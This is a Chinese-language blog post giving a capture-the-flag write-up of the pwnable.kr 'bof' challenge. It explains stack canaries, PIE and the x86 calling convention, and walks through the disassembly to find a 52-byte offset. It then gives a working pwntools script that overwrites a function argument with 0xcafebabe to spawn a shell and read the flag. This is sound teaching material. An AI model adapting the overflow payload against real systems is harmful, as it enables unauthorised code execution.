Cavern.sigma
Welcome to Cavern.sigma
# bof **先備知識** - endianness **知識點** - basic assembly - canary protection - x86 calling convention **writeup** ``` Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 ``` 先把bof下載下來跑一下試試 ```shell $ ./bof overflow me : thththt Nah.. ``` 再看`bof.c` ***bof.c*** ```c #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } ``` 既然這題叫bof,而且有用`gets()`這種容易overflow的函式,第一個直覺就是要把`overflowme` overflow掉 去蓋掉`func`的return address,蓋成`system("/bin/sh")`那行 大概就可以了 於是先檢查下保護 ```shell $ checksec bof [*] 'bof' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 看到Canary跟PIE就知道上面的做法大概是沒指望了 <details> <summary style="color: blue">關於Canary</summary> <p> Canary保護是指在function開啟的stack前面加入一小塊區域>Canary保護是指在function開啟的stack前面加入一小塊區域 <br /> 在離開function <i>(return)</i> 之前會自動檢查canary區塊,看看值是否有變動 <br /> 沒有才能正常離開,若發現變動則會強行終止程式 <br /> 後面會再詳細介紹 </p> </details> <details> <summary style="color: blue">關於PIE</summary> <p> 程式地址隨機化<br /> 這會造成我們沒辦法跳去特定地址,因為每次執行時地址都會不一樣 </p> </details> <br /> 讓我們再看一下`func()` ***func()*** ```c void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } ``` 既然蓋rutern address不可行的話 那我們就試著蓋`key`,把`key`蓋成`0xcafebabe`試試 但是這裡的`key`不是區域變數這種本來就在stack裡面的東西 而是做為`func()`的參數 要知道能不能蓋住和怎麼蓋住`key`,我們需要知道關於calling convention的一些東西 首先我們要確定這個程式是32-bit還是64-bit? ```shell $ file bof bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped ``` 這是個32-bit的程式 所以他這裡使用的應該是c的x86 calling convention *note: calling convention 既然是 convention 就代表其實也沒有一定* *只是大部分的compiler都是這樣做* 在x86 calling convention中 參數從右往左會被推進stack來傳遞 也就是說 進入有兩個參數的function之後 stack會長的像這樣 *如果覺得奇怪的話,別忘記,電腦裡的stack是從上往下長的* ![Imgur](https://i.imgur.com/vClpihd.jpg?1) 知道x86的calling convention之後 我們可以準備來把`key` overflow掉了 為了算要放多少垃圾來蓋過stack的其餘部分 我們需要看`func()`的assembly code 分成了不同區塊的 ***func()*** asm ```asm ;function開頭 0x5655562c <+0>: push ebp 0x5655562d <+1>: mov ebp,esp 0x5655562f <+3>: sub esp,0x48 ;canary開頭 0x56555632 <+6>: mov eax,gs:0x14 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x5655563b <+15>: xor eax,eax ;puts的部份(雖然c裡面是寫printf啦) 0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c 0x56555644 <+24>: call 0xf7e45ca0 <_IO_puts> ;gets部分,重點 0x56555649 <+29>: lea eax,[ebp-0x2c] 0x5655564c <+32>: mov DWORD PTR [esp],eax 0x5655564f <+35>: call 0xf7e45410 <_IO_gets> ;比較key跟0xcafebabe 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x5655565b <+47>: jne 0x5655566b <func+63> ;key == 0xcafebabe 0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b 0x56555664 <+56>: call 0xf7e1b2e0 <__libc_system> 0x56555669 <+61>: jmp 0x56555677 <func+75> ;key != 0xcafebabe 0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3 0x56555672 <+70>: call 0xf7e45ca0 <_IO_puts> ;canary結尾 0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x5655567a <+78>: xor eax,DWORD PTR gs:0x14 0x56555681 <+85>: je 0x56555688 <func+92> 0x56555683 <+87>: call 0xf7ee79f0 <__stack_chk_fail> ;function結尾 0x56555688 <+92>: leave 0x56555689 <+93>: ret ``` 接下來分析stack的情況 (圖案大小就算了,以數字為準) 首先進入函式之前,根據上面介紹的convention stack應該長這樣 ![Imgur](https://i.imgur.com/ZvfjrOJ.jpg?1) 然後 function開頭 區塊結束後 ![Imgur](https://i.imgur.com/2bQpZ4e.jpg?1) Canary的部分 `mov eax,gs:0x14`就是把`gs:0x14`的值放到`eax`裡面來,大該可以猜就是Canary的值 `mov DWORD PTR [ebp-0xc],eax`可以理解成`*(ebp-0xc) = eax` 只是這裡有指定大小是 DWORD = 2 words = 4 bytes 這裡是把eax的值(canary)放到stack上了,在`ebp-0xc`的地方 `xor eax,eax`把eax清空,為了不影響接下來的操作 所以操作完就變成這樣 ![Imgur](https://i.imgur.com/SZCEVMx.jpg) puts區塊結束後(因為沒有新語法就不細講了) 大該可以猜到這個`0x5655578c`是`puts`的參數 ![Imgur](https://i.imgur.com/DH6Yguw.jpg) 再來是gets的部分 `lea eax,[ebp-0x2c]`就是把後面那個地址(`ebp-0x2c`)放到`eax`裡面 這句話跟下面兩句是一樣的 ```asm mov eax, ebp sub eax, 0x2c ``` 所以到`call 0xf7e45410 <_IO_gets>`之前的stack是長這樣 ![Imgur](https://i.imgur.com/j3qyYHg.jpg) 再根據calling convention,我們就知道gets開始填的地方是ebp-0x2c (因為他在stack頂端) 那我們就可以開始算了 首先,要多少垃圾才能到達key的位置? 先0x2c = 44 bytes到ebp,加4 bytes到return address,再加4 bytes就到key了 所以總共52 bytes的垃圾 然後把key改成0xcafebabe就結了 根據這個想法開始寫python ***pwn.py*** ```python3 from pwn import * p = remote("pwnable.kr", 9000) trash = b'a'*52 target = b'\xbe\xba\xfe\xca' payload = trash + target p.sendline(payload) p.interactive() ``` 對了 這裡可以注意到我沒有等overflow me : 出來 因為我發現remote那邊有點奇怪 你必須要先輸入才行 寫完了就給他跑起來 ```shell $ python3 bof.py [+] Opening connection to pwnable.kr on port 9000: Done [*] Switching to interactive mode $ ls bof bof.c flag log log2 super.pl $ cat flag daddy, I just pwned a buFFer :) ``` 拿到flag,submit,開心 這篇有夠長,豆頁痛
2021-01-18 23:13:41
留言
Last fetch: --:-- 
現在還沒有留言!